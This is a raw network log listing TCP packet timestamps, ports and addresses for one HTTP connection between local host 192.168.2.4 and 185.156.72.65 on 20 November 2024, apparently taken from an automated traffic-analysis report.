Nov 20, 2024 05:02:19.852040052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852050066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852061033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852083921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.852097988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.852225065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852236032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852247953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852258921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852261066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.852271080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.852294922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.853293896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853306055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853317022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853342056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.853368044 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.853451967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853461981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853471994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853481054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853492022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.853492022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.853523016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.853552103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871731043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871787071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871795893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871804953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871805906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871815920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871815920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871825933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871845007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871856928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871865988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871875048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.871886969 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871903896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.871918917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872013092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872051954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872088909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872097969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872106075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872116089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872126102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872129917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872138977 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872140884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872150898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872174025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872188091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872698069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872740030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872764111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872773886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872785091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872793913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872797012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872811079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872821093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872828007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872833014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872852087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872860909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872862101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872872114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872884035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872910023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872934103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.872962952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.872973919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873003006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873020887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873104095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873114109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873126030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873136044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873140097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873147011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873151064 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873157024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873167992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873173952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873177052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873188019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873198032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873203039 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873219967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873236895 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873409033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873420000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873430014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873439074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873456001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873460054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873475075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873492956 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873503923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873513937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873524904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873542070 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873553991 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873574018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873852968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873894930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873934984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873944998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873954058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873964071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873971939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873981953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.873987913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.873997927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.874005079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.874008894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.874033928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.874049902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.933713913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933725119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933824062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.933873892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933891058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933900118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933909893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933917999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.933928967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933938980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933947086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.933948040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933958054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933968067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933975935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.933979034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933989048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.933999062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934001923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934009075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934015036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934022903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934026957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934032917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934041977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934050083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934052944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934062958 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934063911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934075117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934082985 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934107065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934130907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934721947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934731960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934743881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934758902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934776068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934778929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934786081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934797049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934807062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.934814930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934838057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.934854031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935200930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935210943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935220957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935236931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935249090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935256958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935269117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935269117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935280085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935290098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935296059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935298920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935329914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935339928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935595036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935605049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935614109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935632944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935636044 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935646057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935657024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935662031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935668945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935677052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.935683966 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935703993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.935714006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936008930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936054945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936100006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936109066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936117887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936127901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936131954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936137915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936150074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936150074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936161041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936187029 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936201096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936336994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936346054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936378956 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936408043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936418056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936427116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936445951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936458111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936475039 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936476946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936487913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.936497927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936517954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.936539888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.937685013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937702894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937721968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937730074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.937731981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937743902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937751055 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.937755108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937767029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937772036 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.937777042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.937803984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.937820911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959475994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959486008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959506989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959517002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959517956 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959527016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959537029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959547043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959553003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959568977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959573030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959594011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959610939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959614038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959619999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959650993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959722996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959733009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959744930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959753990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959773064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959773064 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959783077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959784985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.959813118 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.959840059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960251093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960262060 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960274935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960287094 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960295916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960319042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960324049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960336924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960347891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960357904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960365057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960365057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960366964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960381031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960403919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960542917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960551977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960589886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960613966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960624933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960634947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960644960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960659027 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960685968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960716009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960726023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960743904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960755110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960756063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960778952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960788965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960798979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960802078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960802078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960819006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960820913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960830927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960840940 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960860968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960882902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960896015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960905075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960916996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960937023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960957050 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.960961103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960971117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960980892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.960993052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961000919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961024046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961024046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961024046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961042881 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961442947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961452961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961484909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961498976 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961518049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961529016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961539030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961549044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961556911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961564064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961566925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961575031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.961596966 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.961608887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.963737965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.963918924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.021384001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021394968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021411896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021437883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.021447897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021459103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021462917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.021471024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021481037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021497965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.021519899 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.021605968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.021615982 CET	80	49730	185.156.72.65	192.168.2.4
